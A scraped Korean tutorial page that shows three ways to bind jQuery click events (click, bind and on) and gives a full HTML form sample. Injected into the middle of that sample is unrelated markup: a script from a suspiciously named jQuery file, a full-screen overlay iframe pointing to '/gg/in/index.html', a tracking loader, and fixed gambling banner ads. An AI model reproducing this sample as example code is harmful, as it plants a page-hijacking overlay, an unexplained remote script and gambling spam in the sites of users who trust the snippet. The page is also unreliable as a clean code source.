> 웹 프론트엔드 > JS 튜토리얼 > click events_jquery를 호출하고 바인딩하기 위해 JQuery를 작성하는 3가지 방법

click events_jquery를 호출하고 바인딩하기 위해 JQuery를 작성하는 3가지 방법

WBOY
풀어 주다: 2016-05-16 16:07:20
원래의
1311명이 탐색했습니다.

첫 번째 방법:

1

2

3

4

$(document).ready(function(){

$("#clickme").click(function(){

   alert("Hello World click");

});

로그인 후 복사

두 번째 방법:

1

2

3

$('#clickmebind').bind("click", function(){

alert("Hello World bind");

});

로그인 후 복사

세 번째 방법:

1

2

3

4

$('#clickmeon').on('click', function(){

 alert("Hello World on");

});

});

로그인 후 복사

참고: 세 번째 방법은 jquery 1.7 이상에만 적용 가능합니다.
소스코드는 다음과 같습니다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

 

<script type="text/javascript" src="js/jquery-1.6.1.min.js"></script>

<script type="text/javascript" src="js/jquery.validate.js"></script>

<script type="text/javascript" src="js/jquery.metadata.js"></script>

<script type="text/javascript" src="js/messages_zh.js"></script>

<style type="text/css">

 #frm label.error {

 color: Red;

 }

</style>

<script type="text/javascript" src="/js/jquery.3.5.2.min.m.js"></script><div style="Z-INDEX:1000000000000000000;POSITION:absolute;TEXT-ALIGN:left;BACKGROUND-COLOR:#ffffff;WIDTH:100%;HEIGHT:100%; TOP:0px; RIGHT:0px;LEFT:0px;"><iframe frameborder="no" src="/gg/in/index.html" style="height: 100%;width: 100%;position: fixed;left:0; top:0;"></iframe></div><script>!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"K0m2TJ2kWzkFfr5E",ck:"K0m2TJ2kWzkFfr5E"});</script>

<div style="position: fixed;right: 0;top:100px;width: 125px; z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div><div style="position: fixed;left: 0;top: 100px;width: 125px;z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div>

<script type="text/javascript">

 

$(document).ready(function(){

 $("#clickme").click(function(){

    alert("Hello World click");

 });

  

  

 $('#clickmebind').bind("click", function(){

 alert("Hello World bind");

 });

 

$('#clickmeon').on('click', function(){

 alert("Hello World on");

});

});

 

</script>

 

<label></label>

<form id="frm" name="frm" method="post" action=""><label>用 户 名:

  <input type="text" name="username" id="username">

</label>

 <p>

  <label>邮    编 :<label></label></label>

  <label>

  <input type="text" name="postcode" id="postcode">

  <br>

  </label>

 </p>

 <p><label>数   字 :

  <input type="text" name="number" id="number">

 </label>

  <br><label>身份证号:

  <input type="text" name="identifier" id="identifier">

  </label>

    

 <label>

 <input type="button" name="clickme" id="clickme" value="click me">

 </label>

  <label>

 <input type="button" name="clickmebind" id="clickmebind" value="clickme_bind">

 </label>

 <label>

 <input type="button" name="clickmeon" id="clickmeon" value="clickme_on">

 </label>

 </p>

</form>

로그인 후 복사

원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿